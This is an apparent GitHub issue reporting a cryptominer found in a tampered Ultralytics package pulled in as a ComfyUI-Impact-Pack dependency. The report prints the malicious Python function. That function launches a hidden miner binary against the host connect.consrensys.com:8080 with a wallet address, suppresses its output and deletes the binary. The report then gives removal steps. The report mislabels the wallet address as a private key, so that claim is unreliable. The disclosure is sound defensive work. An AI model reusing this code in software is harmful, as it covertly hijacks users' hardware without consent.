Skip to content

Incident Report: Potential Crypto Mining Attack via ComfyUI/Ultralytics #843

Description

@otupa

Incident Report: Potential Crypto Mining Attack via ComfyUI/Ultralytics


1. Problem Description

While using ComfyUI with the ComfyUI-Impact-Pack extension, suspicious behavior involving the Ultralytics package was detected. A malicious Python script was identified, seemingly designed to execute unauthorized cryptocurrency mining using system resources without user consent.


2. Identification of Malicious Code

The malicious code was located in the downloads.py file within the directory:

C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils
Malicious Code Snippet
def safe_run(path):
    os.chmod(path, 0o770)
    command = [
        path,
        '-u',
        '4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
        '-o',
        'connect.consrensys.com:8080',
        '-k'
    ]
    process = subprocess.Popen(
        command,
        stdin=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
        close_fds=True
    )
    os.remove(path)
Observed Behavior
  • Permission Change: The script uses os.chmod to make a file executable.
  • Malicious Command Execution: The code executes a command to connect to connect.consrensys.com:8080, a potentially malicious mining pool.
  • Hidden Process: The script suppresses standard input, output, and error streams to avoid detection.
  • File Removal: Deletes the executed file to remove evidence of malicious activity.
Risk Assessment

This behavior strongly suggests unauthorized cryptocurrency mining, which could lead to:

  1. High Resource Usage: Drastic increase in CPU/GPU consumption.
  2. Hardware Degradation: Accelerated wear on system components.
  3. Security Breach: Potential compromise of sensitive data or system integrity.

3. Source of the Issue

The activity was traced to the installation of the Ultralytics package, which appears to be a modified version. This package might have been automatically installed as a dependency of the ComfyUI-Impact-Pack.

Installation Path
  • Suspicious Package: ultralytics version 8.3.41.
  • Location: C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics.
Installation Trigger

The suspicious behavior was likely initiated during the execution of the install.py script included in the ComfyUI-Impact-Pack, which installs dependencies.


4. Network Behavior Analysis

  • Target Domain: connect.consrensys.com.
  • Port: 8080.
  • Purpose: This domain is suspected to act as a mining pool endpoint, utilizing protocols like Stratum for cryptocurrency mining.
Evidence:
  1. The script's connection details explicitly target a known mining pool address.
  2. A private key (4BHRQHF...) is used, suggesting an active mining account or operation.

5. Recommended Actions

  1. Uninstall the Suspected Package:
    pip uninstall ultralytics ultralytics-thop
  2. Remove the ComfyUI-Impact-Pack:
    Delete its directory:
    C:\Users\OTupã\Documents\ComfyUI\custom_nodes\ComfyUI-Impact-Pack
    
  3. Scan the System:
    Run antivirus and malware detection tools to ensure no persistent threats remain.
  4. Verify Network Connections:
    Check for outgoing connections to connect.consrensys.com and block them in your firewall.
  5. Raise Awareness:
    Submit this report to the maintainers of both ComfyUI and Ultralytics to prevent further abuse.

6. Supporting Evidence

  • Code Location: C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils\downloads.py.
  • Behavior: Unauthorized file execution, mining pool connection, and evidence removal.
  • Trigger: Automatic dependency installation by ComfyUI-Impact-Pack.

This issue highlights the need for robust dependency auditing in open-source projects to prevent malicious modifications from compromising end users' systems.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions